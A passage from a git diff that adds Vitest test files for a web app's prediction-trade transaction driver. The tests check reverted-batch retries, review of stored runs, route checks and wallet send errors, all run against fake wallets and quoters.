expect(driver.getProgress().stage).toBe("complete"); + expect(sent).toHaveLength(signed + 2); + }); + + it("stores a change that leaves every batch still to land as shown, and carries on without a stop", async () => { + const store = createFlowRunStore({ storage: createMemoryStorage() }); + const { driver, sent, setSettings } = setup(sdaiRun, { store }); + driver.start({ plans: { [KEY]: planOn(WAD, SLIPPAGE_BPS) } }); + await stageIs(driver, "halted"); + const signed = sent.length; + + // a run without credits has no swap the credits setting reaches + setSettings({ ...AUTO, creditsBps: 100 }); + driver.retry(); + await stageIs(driver, "complete"); + + expect(sent).toHaveLength(signed + 1); + }); +}); diff --git a/apps/web/src/features/predict/run/__tests__/driver.revertedBatch.test.ts b/apps/web/src/features/predict/run/__tests__/driver.revertedBatch.test.ts new file mode 100644 index 00000000..c893c0bb --- /dev/null +++ b/apps/web/src/features/predict/run/__tests__/driver.revertedBatch.test.ts @@ -0,0 +1,470 @@ +import type { FlowTx, TxGateway } from "@foresight/tx-orchestrator"; +import type { Address, Hash, Hex, TransactionReceipt } from "viem"; +import { afterEach, describe, expect, it, vi } from "vitest"; + +import type { SwapQuoteRequest } from "@/lib/swap/types"; + +import { + addresses, + chainState, + ctx, + fakeQuoter, + type FakeQuoter, + fakeReader, + gasLimitFor, + option, + snapshot, + WAD, +} from "../../flow/__tests__/support/fakes"; +import { STEP_ID } from "../../flow/plan"; +import type { PredictOption, PredictSnapshot } from "../../flow/types"; +import { createPredictRun } from "../driver"; +import type { PredictDriver } from "../types"; + +/** What the chain does with one sent transaction. `lost` fails the first receipt wait with an unclassifiable error. */ +type Mined = "success" | "revert" | { lost: "success" | "reverted" }; + +/** + * A wallet that signs everything, with one script entry per send. A transaction's receipt + * status is fixed when it is sent, so a later wait or lookup on the same hash agrees with it. + */ +function scriptedGateway(script: Mined[]): TxGateway & { readonly signRequests: FlowTx[] } { + const signRequests: FlowTx[] = []; + const chain = new Map(); + const receipt = (hash: Hash, status: "success" | "reverted") => + ({ transactionHash: hash, status, blockNumber: 19_000_000n }) as TransactionReceipt; + + return { + signRequests, + sendTransaction: (tx) => { + const mined = script[signRequests.length] ?? "success"; + signRequests.push(tx); + const hash = `0x${signRequests.length.toString(16).padStart(64, "0")}` as Hash; + if (typeof mined === "object") chain.set(hash, { status: mined.lost, lostOnce: true }); + else chain.set(hash, { status: mined === "revert" ? "reverted" : "success", lostOnce: false }); + return Promise.resolve(hash); + }, + waitForReceipt: ({ hash }) => { + const entry = chain.get(hash); + if (!entry) return Promise.reject(new Error("unknown hash", { cause: "opaque" })); + if (entry.lostOnce) { + entry.lostOnce = false; + return Promise.reject(new Error("node said something odd", { cause: "opaque" })); + } + return Promise.resolve(receipt(hash, entry.status)); + }, + getReceipt: (hash) => { + const entry = chain.get(hash); + return Promise.resolve(entry ? receipt(hash, entry.status) : null); + }, + isKnown: (hash) => Promise.resolve(chain.has(hash)), + }; +} + +/** Like `fakeQuoter`, but every quote's calldata carries a serial number, so a fresh quote reads differently. */ +function serialQuoter(refuse: (request: SwapQuoteRequest) => boolean = () => false): FakeQuoter { + const inner = fakeQuoter({ refuse }); + let serial = 0; + return { + requests: inner.requests, + quote: async (request) => { + const quote = await inner.quote(request); + serial += 1; + return { ...quote, data: `${quote.data}${serial.toString(16).padStart(8, "0")}` as Hex }; + }, + }; +} + +const isDeposit = (tx: FlowTx) => tx.to === addresses.collateral || tx.to === addresses.sDaiAdapter; + +const hex = (address: Address) => address.slice(2).toLowerCase(); + +/** The executor transactions that trade `target`, the batch it belongs to. */ +const batchTxs = (signed: FlowTx[], target: PredictOption) => + signed.filter( + (tx) => tx.to === addresses.executor && (tx.data ?? "").toLowerCase().includes(hex(target.childMarket)), + ); + +const quotesFor = (quoter: FakeQuoter, target: PredictOption) => + quoter.requests.filter( + (request) => + [target.upToken, target.downToken].includes(request.tokenIn) || + [target.upToken, target.downToken].includes(request.tokenOut), + ); + +const drivers: PredictDriver[] = []; +afterEach(() => { + for (const driver of drivers.splice(0)) driver.dispose(); +}); + +/** One option per batch, a deposit first, and the executor already deployed. */ +function setup(args: { + options: PredictOption[]; + script: Mined[]; + snap?: Partial; + refuse?: (request: SwapQuoteRequest) => boolean; + optionsPerBatch?: number; +}) { + const gateway = scriptedGateway(args.script); + // later batches mint nothing, so they trade the underlying the first batch's split left in the wallet + const reader = fakeReader({ + deployed: true, + collateral: 0n, + state: () => chainState({ underlying: WAD }), + blockGasLimit: gasLimitFor(args.optionsPerBatch ?? 1), + }); + const quoter = serialQuoter(args.refuse); + const driver = createPredictRun({ + gateway, + reader, + quoter, + flowId: `predict-reverted-${drivers.length}`, + ctx: () => ctx(), + snapshot: () => snapshot({ options: args.options, deposit: WAD, collateralIn: WAD, ...args.snap }), + }); + drivers.push(driver); + return { gateway, reader, quoter, driver }; +} + +async function haltedOrComplete(driver: PredictDriver) { + await vi.waitFor(() => expect(["halted", "complete"]).toContain(driver.getProgress().stage)); + return driver.getProgress(); +} + +describe("createPredictRun when a later prediction batch reverts after the first went through", () => { + const first = option(1); + const second = option(2); + // deposit, batch 1, batch 2 reverts, then batch 2 again + const script: Mined[] = ["success", "success", "revert", "success"]; + + it("halts on the reverted batch with a retry on offer, and signs nothing until the visitor takes it", async () => { + const { gateway, driver } = setup({ options: [first, second], script }); + + driver.start(); + const halted = await haltedOrComplete(driver); + + expect(halted.stage).toBe("halted"); + expect(halted.failure).toEqual({ reason: "reverted", retryable: true }); + expect(halted.batchesDone).toBe(1); + expect(halted.batches).toBe(2); + expect(halted.steps.find((step) => step.id === STEP_ID.predict(1))?.state).toBe("success"); + expect(halted.steps.find((step) => step.id === STEP_ID.predict(2))?.state).toBe("error"); + + // nothing goes out again on its own: the retry waits for the visitor to review and press it + await new Promise((resolve) => setTimeout(resolve, 20)); + expect(gateway.signRequests).toHaveLength(3); + expect(driver.getProgress().stage).toBe("halted"); + }); + + it("re-reads the pools and re-quotes the reverted batch on retry, and sends the rebuilt transaction", async () => { + const { gateway, reader, quoter, driver } = setup({ options: [first, second], script }); + + driver.start(); + await haltedOrComplete(driver); + const quotesBefore = quotesFor(quoter, second).length; + const readsBefore = reader.asked.filter((ask) => + ask.options.some((each) => each.childMarket === second.childMarket), + ).length; + const reverted = batchTxs(gateway.signRequests, second); + expect(reverted).toHaveLength(1); + + driver.retry(); + const after = await haltedOrComplete(driver); + + expect(after.stage).toBe("complete"); + expect(quotesFor(quoter, second).length).toBeGreaterThan(quotesBefore); + expect( + reader.asked.filter((ask) => ask.options.some((each) => each.childMarket === second.childMarket)).length, + ).toBeGreaterThan(readsBefore); + const sent = batchTxs(gateway.signRequests, second); + expect(sent).toHaveLength(2); + expect(sent[1]!.data).not.toBe(sent[0]!.data); + }); + + it("does not send the confirmed deposit or the batch that went through a second time", async () => { + const { gateway, driver } = setup({ options: [first, second], script }); + + driver.start(); + await haltedOrComplete(driver); + driver.retry(); + const after = await haltedOrComplete(driver); + + expect(after.stage).toBe("complete"); + expect(gateway.signRequests.filter(isDeposit)).toHaveLength(1); + expect(batchTxs(gateway.signRequests, first)).toHaveLength(1); + expect(batchTxs(gateway.signRequests, second)).toHaveLength(2); + expect(gateway.signRequests).toHaveLength(4); + }); + + it("keeps two earlier batches and the deposit when the third batch reverts and is retried", async () => { + const third = option(3); + const { gateway, driver } = setup({ + options: [first, second, third], + // deposit, batch 1, batch 2, batch 3 reverts, then batch 3 again + script: ["success", "success", "success", "revert", "success"], + }); + + driver.start(); + const halted = await haltedOrComplete(driver); + expect(halted.failure).toEqual({ reason: "reverted", retryable: true }); + expect(halted.batchesDone).toBe(2); + + driver.retry(); + const after = await haltedOrComplete(driver); + + expect(after.stage).toBe("complete"); + expect(gateway.signRequests.filter(isDeposit)).toHaveLength(1); + expect(batchTxs(gateway.signRequests, first)).toHaveLength(1); + expect(batchTxs(gateway.signRequests, second)).toHaveLength(1); + expect(batchTxs(gateway.signRequests, third)).toHaveLength(2); + }); +}); + +describe("createPredictRun when a later batch's outcome was not seen", () => { + const first = option(1); + const second = option(2); + + it("checks the sent batch before retrying, and a revert found there gets a reviewed rebuild, not a blind resend", async () => { + const { gateway, driver } = setup({ + options: [first, second], + // deposit, batch 1, batch 2 whose wait fails and which in fact reverted, then batch 2 rebuilt + script: ["success", "success", { lost: "reverted" }, "success"], + }); + + driver.start(); + const uncertain = await haltedOrComplete(driver); + expect(uncertain.stage).toBe("halted"); + expect(uncertain.pendingHash).toBeDefined(); + + driver.retry(); + await vi.waitFor(() => expect(driver.getProgress().failure?.reason).toBe("reverted")); + const reconciled = driver.getProgress(); + + expect(reconciled.stage).toBe("halted"); + expect(reconciled.failure).toEqual({ reason: "reverted", retryable: true }); + expect(reconciled.pendingHash).toBeUndefined(); + // reconciling looked at the chain; it did not sign the batch again + expect(batchTxs(gateway.signRequests, second)).toHaveLength(1); + + driver.retry(); + const after = await haltedOrComplete(driver); + + expect(after.stage).toBe("complete"); + expect(gateway.signRequests.filter(isDeposit)).toHaveLength(1); + expect(batchTxs(gateway.signRequests, first)).toHaveLength(1); + expect(batchTxs(gateway.signRequests, second)).toHaveLength(2); + }); + + it("finishes without signing the batch again when the unseen batch had in fact mined", async () => { + const { gateway, driver } = setup({ + options: [first, second], + script: ["success", "success", { lost: "success" }], + }); + + driver.start(); + const uncertain = await haltedOrComplete(driver); + expect(uncertain.pendingHash).toBeDefined(); + + driver.retry(); + const after = await haltedOrComplete(driver); + + expect(after.stage).toBe("complete"); + expect(gateway.signRequests.filter(isDeposit)).toHaveLength(1); + expect(batchTxs(gateway.signRequests, first)).toHaveLength(1); + expect(batchTxs(gateway.signRequests, second)).toHaveLength(1); + }); +}); + +describe("createPredictRun when a batch leaves an option out", () => { + const first = option(1); + const unrouted = option(2); + const third = option(3); + const refuse = (request: SwapQuoteRequest) => + [unrouted.upToken, unrouted.downToken].includes(request.tokenIn) || + [unrouted.upToken, unrouted.downToken].includes(request.tokenOut); + + it("still names it once a later batch reverts and is retried", async () => { + const { driver } = setup({ + options: [first, unrouted, third], + optionsPerBatch: 2, + // deposit, batch 1 leaving `unrouted` out, batch 2 reverts, then batch 2 again + script: ["success", "success", "revert", "success"], + refuse, + }); + + driver.start(); + const halted = await haltedOrComplete(driver); + expect(halted.failure?.reason).toBe("reverted"); + expect(halted.leftOut).toEqual([unrouted.childMarket]); + + driver.retry(); + const after = await haltedOrComplete(driver); + + expect(after.stage).toBe("complete"); + expect(after.leftOut).toEqual([unrouted.childMarket]); + }); + + it("still names it when the batch's receipt was unseen and the retry finds it mined", async () => { + const { gateway, driver } = setup({ + options: [first, unrouted], + optionsPerBatch: 2, + script: ["success", { lost: "success" }], + refuse, + }); + + driver.start(); + const uncertain = await haltedOrComplete(driver); + expect(uncertain.pendingHash).toBeDefined(); + + driver.retry(); + const after = await haltedOrComplete(driver); + + expect(after.stage).toBe("complete"); + expect(after.leftOut).toEqual([unrouted.childMarket]); + expect(batchTxs(gateway.signRequests, first)).toHaveLength(1); + }); + + it("gives an option another go when the batch that left it out is rebuilt", async () => { + let closed = true; + const { driver } = setup({ + options: [first, unrouted], + optionsPerBatch: 2, + // deposit, the batch reverts, then the rebuilt batch with `unrouted` routed + script: ["success", "revert", "success"], + refuse: (request) => closed && refuse(request), + }); + + driver.start(); + const halted = await haltedOrComplete(driver); + expect(halted.leftOut).toEqual([unrouted.childMarket]); + + closed = false; + driver.retry(); + const after = await haltedOrComplete(driver); + + expect(after.stage).toBe("complete"); + expect(after.leftOut).toEqual([]); + }); +}); + +describe("createPredictRun when the run cannot succeed as configured", () => { + it("stops with no further retry when the reverted batch no longer has a route on its rebuild", async () => { + const first = option(1); + const second = option(2); + let routesClosed = false; + const { gateway, driver } = setup({ + options: [first, second], + script: ["success", "success", "revert"], + refuse: () => routesClosed, + }); + + driver.start(); + const halted = await haltedOrComplete(driver); + expect(halted.failure).toEqual({ reason: "reverted", retryable: true }); + + routesClosed = true; + driver.retry(); + await vi.waitFor(() => expect(driver.getProgress().failure?.reason).toBe("no-route")); + const stopped = driver.getProgress(); + + expect(stopped.stage).toBe("halted"); + expect(stopped.failure).toEqual({ reason: "no-route", retryable: false }); + expect(gateway.signRequests).toHaveLength(3); + }); + + it("does not offer a retry when the network has no xDAI route into the trade wallet", async () => { + const gateway = scriptedGateway([]); + const driver = createPredictRun({ + gateway, + reader: fakeReader({ deployed: true }), + quoter: fakeQuoter(), + flowId: "predict-no-adapter", + ctx: () => ctx({ sDaiAdapter: null }), + snapshot: () => snapshot({ deposit: WAD, depositNative: true, collateralIn: WAD }), + }); + drivers.push(driver); + + driver.start(); + const halted = await haltedOrComplete(driver); + + expect(halted.stage).toBe("halted"); + expect(halted.failure?.retryable).toBe(false); + expect(gateway.signRequests).toEqual([]); + }); + + it("does not offer a retry when there are no estimates to predict", async () => { + const gateway = scriptedGateway([]); + const driver = createPredictRun({ + gateway, + reader: fakeReader({ deployed: true }), + quoter: fakeQuoter(), + flowId: "predict-no-options", + ctx: () => ctx(), + snapshot: () => snapshot({ options: [] }), + }); + drivers.push(driver); + + driver.start(); + const halted = await haltedOrComplete(driver); + + expect(halted.stage).toBe("halted"); + expect(halted.failure?.retryable).toBe(false); + expect(gateway.signRequests).toEqual([]); + }); +}); + +describe("reviewed retries at the first and repeated revert", () => { + it("waits for another retry when the retried batch reverts too", async () => { + const first = option(1); + const second = option(2); + const { driver, gateway } = setup({ + options: [first, second], + script: ["success", "success", "revert", "revert", "success"], + }); + driver.start(); + await haltedOrComplete(driver); + driver.retry(); + await vi.waitFor(() => expect(gateway.signRequests).toHaveLength(4)); + await haltedOrComplete(driver); + + expect(driver.getProgress().failure).toEqual({ reason: "reverted", retryable: true }); + await new Promise((resolve) => setTimeout(resolve, 20)); + expect(gateway.signRequests).toHaveLength(4); + driver.retry(); + await vi.waitFor(() => expect(driver.getProgress().stage).toBe("complete")); + expect(gateway.signRequests.filter(isDeposit)).toHaveLength(1); + expect(batchTxs(gateway.signRequests, first)).toHaveLength(1); + expect(batchTxs(gateway.signRequests, second)).toHaveLength(3); + }); + + it("retries the first batch without repeating its deposit", async () => { + const first = option(1); + const second = option(2); + const { driver, gateway } = setup({ + options: [first, second], + script: ["success", "revert", "success", "success"], + }); + driver.start(); + await haltedOrComplete(driver); + expect(driver.getProgress().failure).toEqual({ reason: "reverted", retryable: true }); + expect(driver.getProgress().batchesDone).toBe(0); + driver.retry(); + await vi.waitFor(() => expect(driver.getProgress().stage).toBe("complete")); + + expect(gateway.signRequests.filter(isDeposit)).toHaveLength(1); + expect(batchTxs(gateway.signRequests, first)).toHaveLength(2); + expect(batchTxs(gateway.signRequests, second)).toHaveLength(1); + }); + + it("does not retry a confirmed reverted deposit", async () => { + const { driver, gateway } = setup({ options: [option(1)], script: ["revert", "success"] }); + driver.start(); + await haltedOrComplete(driver); + expect(driver.getProgress().failure).toEqual({ reason: "reverted", retryable: false }); + driver.retry(); + await new Promise((resolve) => setTimeout(resolve, 20)); + + expect(gateway.signRequests).toHaveLength(1); + expect(gateway.signRequests.filter(isDeposit)).toHaveLength(1); + }); +}); diff --git a/apps/web/src/features/predict/run/__tests__/driver.review.test.ts b/apps/web/src/features/predict/run/__tests__/driver.review.test.ts new file mode 100644 index 00000000..c7544fde --- /dev/null +++ b/apps/web/src/features/predict/run/__tests__/driver.review.test.ts @@ -0,0 +1,177 @@ +import { createFlowRunStore, createMemoryStorage, type FlowTx, type TxGateway } from "@foresight/tx-orchestrator"; +import { decodeFunctionData, erc20Abi, type Hash, type Hex, type TransactionReceipt } from "viem"; +import { afterEach, describe, expect, it, vi } from "vitest"; + +import { addresses, ctx, fakeQuoter, fakeReader, option, snapshot, WAD } from "../../flow/__tests__/support/fakes"; +import { STEP_ID } from "../../flow/plan"; +import type { PredictCtx, PredictSnapshot } from "../../flow/types"; +import { createPredictRun } from "../driver"; +import type { PredictDriver } from "../types"; + +const FLOW_ID = "predict-review"; +const SAVED = snapshot({ deposit: WAD * 3n, collateralIn: WAD * 3n, collateralBefore: 0n, collateralAtStart: 0n }); +const CURRENT = snapshot({ deposit: WAD, collateralIn: WAD, collateralBefore: 0n }); + +function fakeGateway(): TxGateway & { readonly signRequests: FlowTx[] } { + const signRequests: FlowTx[] = []; + const receipt = (hash: Hash): TransactionReceipt => + ({ transactionHash: hash, status: "success", blockNumber: 19_000_000n }) as TransactionReceipt; + return { + signRequests, + sendTransaction: (tx) => { + signRequests.push(tx); + return Promise.resolve(`0x${signRequests.length.toString(16).padStart(64, "0")}` as Hash); + }, + waitForReceipt: ({ hash }) => Promise.resolve(receipt(hash)), + getReceipt: () => Promise.resolve(null), + isKnown: () => Promise.resolve(false), + }; +} + +/** A run whose deposit the visitor turned down before the tab closed, or one already broadcast. */ +function storedRejectedDeposit( + deposit: { status: "pending" } | { status: "submitted"; hash: Hash } = { status: "pending" }, + saved: PredictSnapshot = SAVED, +) { + const store = createFlowRunStore({ storage: createMemoryStorage() }); + store.save({ + flowId: FLOW_ID, + adapterId: "predict-flow", + status: "paused", + reason: "error", + error: { stepId: STEP_ID.deposit, message: "rejected", cause: "rejected" }, + ctx: ctx(), + snapshot: saved, + steps: [ + { stepId: STEP_ID.createExecutor, label: "Set up your trade wallet", outcome: { status: "skipped" } }, + { stepId: STEP_ID.deposit, label: "Add money to your trade wallet", outcome: deposit }, + { stepId: STEP_ID.predict(1), label: "Making your prediction", outcome: { status: "pending" } }, + ], + }); + return store; +} + +const drivers: PredictDriver[] = []; +afterEach(() => { + for (const driver of drivers.splice(0)) driver.dispose(); +}); + +function setup(opts: { store?: ReturnType; gateway?: TxGateway } = {}) { + const store = opts.store ?? storedRejectedDeposit(); + const gateway = { ...fakeGateway(), ...opts.gateway }; + const driver = createPredictRun({ + gateway, + reader: fakeReader({ deployed: true, collateral: 0n }), + quoter: fakeQuoter(), + flowId: FLOW_ID, + store, + ctx: () => ctx(), + snapshot: () => CURRENT, + }); + drivers.push(driver); + return { driver, gateway, store }; +} + +const settle = () => new Promise((resolve) => setTimeout(resolve, 20)); + +const transferred = (tx: FlowTx) => decodeFunctionData({ abi: erc20Abi, data: tx.data as Hex }).args[1]; + +describe("createPredictRun with a stored run", () => { + it.each([ + ["recover", (driver: PredictDriver) => driver.recover()], + ["start", (driver: PredictDriver) => driver.start()], + ])("holds it for review on %s, showing its own snapshot and signing nothing", async (_, open) => { + const { driver, gateway } = setup(); + + open(driver); + await vi.waitFor(() => expect(driver.getProgress().stage).toBe("review")); + await settle(); + + expect(driver.getProgress().recovered).toEqual(SAVED); + expect(gateway.signRequests).toEqual([]); + }); + + it("names the options its settled batches left out, from review through to the end", async () => { + const leftOut = option(9).childMarket; + const { driver } = setup({ store: storedRejectedDeposit(undefined, { ...SAVED, leftOut: [leftOut] }) }); + driver.recover(); + await vi.waitFor(() => expect(driver.getProgress().stage).toBe("review")); + expect(driver.getProgress().leftOut).toEqual([leftOut]); + + driver.resume(); + await vi.waitFor(() => expect(driver.getProgress().stage).toBe("complete")); + + expect(driver.getProgress().leftOut).toEqual([leftOut]); + }); + + it("ignores start and retry while under review", async () => { + const { driver, gateway } = setup(); + driver.recover(); + await vi.waitFor(() => expect(driver.getProgress().stage).toBe("review")); + + driver.start(); + driver.retry(); + await settle(); + + expect(driver.getProgress().stage).toBe("review"); + expect(gateway.signRequests).toEqual([]); + }); + + it("signs the stored deposit, not the form's, once resumed", async () => { + const { driver, gateway } = setup(); + driver.recover(); + await vi.waitFor(() => expect(driver.getProgress().stage).toBe("review")); + + driver.resume(); + await vi.waitFor(() => expect(driver.getProgress().stage).toBe("complete")); + + const deposits = gateway.signRequests.filter((tx) => tx.to === addresses.collateral); + expect(deposits.map(transferred)).toEqual([SAVED.deposit]); + }); + + it("does nothing on resume when no run is under review", async () => { + const { driver, gateway } = setup(); + + driver.resume(); + await settle(); + + expect(driver.getProgress().stage).toBe("idle"); + expect(gateway.signRequests).toEqual([]); + }); + + it("forgets the stored snapshot once the run is thrown away, and a fresh run shows none", async () => { + const { driver, store } = setup(); + driver.recover(); + await vi.waitFor(() => expect(driver.getProgress().stage).toBe("review")); + + driver.reset(); + + expect(driver.getProgress().recovered).toBeUndefined(); + expect(store.load(FLOW_ID)).toBeNull(); + + driver.start(); + await vi.waitFor(() => expect(driver.getProgress().stage).toBe("complete")); + expect(driver.getProgress().recovered).toBeUndefined(); + }); + + it("checks the chain again on resume, and asks before signing again a deposit no node finds and whose nonce it never kept", async () => { + const hash = `0x${"d".repeat(64)}` as Hash; + let known = true; + const gateway: TxGateway = { + ...fakeGateway(), + isKnown: () => Promise.resolve(known), + waitForReceipt: () => new Promise(() => {}), + }; + const { driver } = setup({ store: storedRejectedDeposit({ status: "submitted", hash }), gateway }); + driver.recover(); + await vi.waitFor(() => expect(driver.getProgress().stage).toBe("review")); + expect(driver.getProgress().pendingHash).toBe(hash); + + known = false; + driver.resume(); + + await vi.waitFor(() => expect(driver.getProgress().stage).toBe("halted")); + expect(driver.getProgress().failure).toEqual({ reason: "resign", retryable: true }); + expect(driver.getProgress().pendingHash).toBe(hash); + }); +}); diff --git a/apps/web/src/features/predict/run/__tests__/driver.routeCheck.test.ts b/apps/web/src/features/predict/run/__tests__/driver.routeCheck.test.ts new file mode 100644 index 00000000..814e374d --- /dev/null +++ b/apps/web/src/features/predict/run/__tests__/driver.routeCheck.test.ts @@ -0,0 +1,226 @@ +import { createFlowRunStore, createMemoryStorage, type FlowTx, type TxGateway } from "@foresight/tx-orchestrator"; +import type { Hash, TransactionReceipt } from "viem"; +import { afterEach, describe, expect, it, vi } from "vitest"; + +import { + addresses, + chainState, + ctx, + fakeQuoter, + fakeReader, + option, + snapshot, + WAD, +} from "../../flow/__tests__/support/fakes"; +import type { FakeQuoter } from "../../flow/__tests__/support/fakes"; +import type { OptionChainState, PredictOption } from "../../flow/types"; +import { sqrtPriceX96FromPrice } from "../../utils/poolMath"; +import { predictSteps } from "../../utils/predictSteps"; +import { createPredictRun } from "../driver"; +import type { PredictDriver } from "../types"; + +function fakeGateway(): TxGateway & { readonly signRequests: FlowTx[] } { + const signRequests: FlowTx[] = []; + const receipt = (hash: Hash): TransactionReceipt => + ({ transactionHash: hash, status: "success", blockNumber: 19_000_000n }) as TransactionReceipt; + + return { + signRequests, + sendTransaction: (tx) => { + signRequests.push(tx); + return Promise.resolve(`0x${signRequests.length.toString(16).padStart(64, "0")}` as Hash); + }, + waitForReceipt: ({ hash }) => Promise.resolve(receipt(hash)), + getReceipt: (hash) => Promise.resolve(receipt(hash)), + isKnown: () => Promise.resolve(true), + }; +} + +const reverted = (hash: Hash): TransactionReceipt => + ({ transactionHash: hash, status: "reverted", blockNumber: 19_000_000n }) as TransactionReceipt; + +const isDeposit = (tx: FlowTx) => tx.to === addresses.collateral; + +const drivers: PredictDriver[] = []; +afterEach(() => { + for (const driver of drivers.splice(0)) driver.dispose(); +}); + +/** Both of `each`'s pools at its estimate. */ +const atEstimate = (each: PredictOption): OptionChainState => { + const base = chainState(); + return chainState({ + pools: { + up: { ...base.pools.up, sqrtPriceX96: sqrtPriceX96FromPrice(each.targetPriceWad, true) }, + down: { ...base.pools.down, sqrtPriceX96: sqrtPriceX96FromPrice(WAD - each.targetPriceWad, true) }, + }, + }); +}; + +function setup( + quoter: FakeQuoter, + opts: { state?: (each: PredictOption) => OptionChainState; options?: PredictOption[] } = {}, +) { + const gateway = fakeGateway(); + const driver = createPredictRun({ + gateway, + reader: fakeReader({ deployed: true, state: opts.state }), + quoter, + flowId: `predict-route-check-${drivers.length}`, + ctx: () => ctx(), + snapshot: () => snapshot(opts.options ? { options: opts.options } : {}), + }); + drivers.push(driver); + return { gateway, driver }; +} + +const settled = (driver: PredictDriver) => + vi.waitFor(() => expect(["halted", "complete"]).toContain(driver.getProgress().stage)); + +describe("createPredictRun route check", () => { + it("does not report an option the check could not route if the build then routes it", async () => { + const first = option(1); + const second = option(2); + let deposited = false; + const quoter = fakeQuoter({ + refuse: (request) => !deposited && [request.tokenIn, request.tokenOut].includes(first.underlying), + }); + const { driver, gateway } = setup(quoter, { options: [first, second] }); + const send = gateway.sendTransaction; + gateway.sendTransaction = (tx, options) => { + if (isDeposit(tx)) deposited = true; + return send(tx, options); + }; + + driver.start(); + await settled(driver); + + expect(driver.getProgress().stage).toBe("complete"); + expect(deposited).toBe(true); + expect(driver.getProgress().leftOut).toEqual([]); + expect(quoter.requests.filter((request) => request.tokenIn === first.underlying).length).toBeGreaterThan(0); + }); + + it("lets a run that routes go through, depositing once", async () => { + const { gateway, driver } = setup(fakeQuoter()); + + driver.start(); + await settled(driver); + + expect(driver.getProgress().stage).toBe("complete"); + expect(gateway.signRequests.filter(isDeposit)).toHaveLength(1); + }); + + it("starts once when pressed again while the routes are checked", async () => { + const quoter = fakeQuoter(); + const { gateway, driver } = setup(quoter); + + driver.start(); + expect(driver.getProgress().stage).toBe("quoting"); + driver.start(); + await settled(driver); + + expect(driver.getProgress()).toMatchObject({ stage: "complete", failure: undefined }); + expect(gateway.signRequests.filter(isDeposit)).toHaveLength(1); + // one sell and one buy, quoted by the check and again by the build + expect(quoter.requests).toHaveLength(4); + }); + + it.each([ + ["reset", (driver: PredictDriver) => driver.reset()], + ["disposed", (driver: PredictDriver) => driver.dispose()], + ])("signs nothing when %s while the routes are checked", async (_, stop) => { + const quoter = fakeQuoter(); + const { gateway, driver } = setup(quoter); + + driver.start(); + stop(driver); + await vi.waitFor(() => expect(quoter.requests).toHaveLength(2)); + await new Promise((resolve) => setTimeout(resolve, 20)); + + expect(gateway.signRequests).toEqual([]); + expect(driver.getProgress()).toMatchObject({ stage: "idle", failure: undefined }); + }); + + it("halts as no-route, not retryable, when the route is gone by the time the trade is built", async () => { + // The default option quotes one sell and one buy; the check spends those two. + const quoter = fakeQuoter({ refuse: () => quoter.requests.length > 2 }); + const { gateway, driver } = setup(quoter); + + driver.start(); + await settled(driver); + + expect(gateway.signRequests.filter(isDeposit)).toHaveLength(1); + expect(driver.getProgress().stage).toBe("halted"); + expect(driver.getProgress().failure).toEqual({ reason: "no-route", retryable: false }); + }); + + it("says the prices already sit at the estimates, signing nothing, when every pool is at its estimate", async () => { + const { gateway, driver } = setup(fakeQuoter(), { state: atEstimate }); + + driver.start(); + await settled(driver); + + expect(gateway.signRequests).toEqual([]); + expect(driver.getProgress().failure).toEqual({ reason: "at-estimates", retryable: false }); + const { failure } = predictSteps({ + wallet: null, + toAdd: 0n, + symbol: "sDAI", + decimals: 18, + progress: driver.getProgress(), + }); + expect(failure).toBe("Prices are already at your estimates. Nothing to trade."); + }); + + it("still says no trade was found when one option is at its estimate and the other has no route", async () => { + const [atTarget, unroutable] = [option(1), option(2)]; + const quoter = fakeQuoter({ + refuse: (request) => [request.tokenIn, request.tokenOut].includes(unroutable.underlying), + }); + const { driver } = setup(quoter, { + options: [atTarget, unroutable], + state: (each) => (each === atTarget ? atEstimate(each) : chainState()), + }); + + driver.start(); + await settled(driver); + + expect(driver.getProgress().failure).toEqual({ reason: "no-route", retryable: false }); + }); + + it("reports a stored batch that reverted as reverted after an earlier no-route halt", async () => { + const store = createFlowRunStore({ storage: createMemoryStorage() }); + const flowId = "predict-route-check-recovered"; + const quoter = fakeQuoter({ refuse: () => quoter.requests.length > 2 }); + const gateway = { ...fakeGateway(), getReceipt: (hash: Hash) => Promise.resolve(reverted(hash)) }; + const make = (gw: TxGateway, q: FakeQuoter) => + createPredictRun({ + gateway: gw, + reader: fakeReader({ deployed: true }), + quoter: q, + flowId, + store, + ctx: () => ctx(), + snapshot: () => snapshot(), + }); + + const driver = make(gateway, quoter); + drivers.push(driver); + driver.start(); + await settled(driver); + expect(driver.getProgress().failure).toEqual({ reason: "no-route", retryable: false }); + driver.reset(); + + // Another tab leaves the deposit in flight in the shared store. + const other = make({ ...fakeGateway(), waitForReceipt: () => new Promise(() => {}) }, fakeQuoter()); + other.start(); + await vi.waitFor(() => expect(other.getProgress().stage).toBe("confirming")); + other.dispose(); + + driver.start(); + await settled(driver); + + expect(driver.getProgress().failure).toEqual({ reason: "reverted", retryable: false }); + }); +}); diff --git a/apps/web/src/features/predict/run/__tests__/driver.sendErrorAfterBroadcast.test.ts b/apps/web/src/features/predict/run/__tests__/driver.sendErrorAfterBroadcast.test.ts new file mode 100644 index 00000000..28f5eea1 --- /dev/null +++ b/apps/web/src/features/predict/run/__tests__/driver.sendErrorAfterBroadcast.test.ts @@ -0,0 +1,442 @@ +import { createFlowRunStore, createMemoryStorage, type FlowTx, type TxGateway } from "@foresight/tx-orchestrator"; +import { UserRejectedRequestError, type Address, type Hash, type PublicClient, type TransactionReceipt } from "viem"; +import { afterEach, describe, expect, it, vi } from "vitest"; + +import { + addresses, + chainState, + ctx, + fakeQuoter, + fakeReader, + gasLimitFor, + option, + snapshot, + WAD, +} from "../../flow/__tests__/support/fakes"; +import type { LandedTx, PredictReader, PredictRequest, SentTx } from "../../flow/types"; +import { createPredictRun } from "../driver"; +import { discardRun, hasPendingTransaction, predictFlowId } from "../interrupted"; +import { createPredictReader } from "../reader"; +import type { PredictDriver } from "../types"; + +// the indexer's client reads the app's environment, and no nonce read goes near it +vi.mock("../../api/getOptionPools", () => ({ fetchSessionPools: vi.fn(), optionPoolRefs: vi.fn() })); + +const SESSION = "session-1"; +const FLOW_ID = predictFlowId(SESSION, addresses.owner); + +/** A production wallet's coded error, as an injected wallet surfaces it once its own node has the transaction. */ +const internalError = () => + new Error("Transaction failed", { + cause: Object.assign(new Error("Internal JSON-RPC error."), { code: -32603 }), + }); + +const isDeposit = (tx: FlowTx) => tx.to === addresses.collateral; + +/** + * A chain that mines the owner's sends in nonce order. A send `broadcastThenFail` picks takes its nonce and stays + * pending until `land()`, while the wallet call throws `error`. A send `failBeforeBroadcast` picks takes no nonce. + */ +function chain(opts: { + error: () => Error; + 